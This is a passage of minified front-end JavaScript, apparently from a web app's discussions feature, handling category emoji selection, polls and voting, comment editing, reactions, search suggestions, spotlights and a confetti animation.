n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return 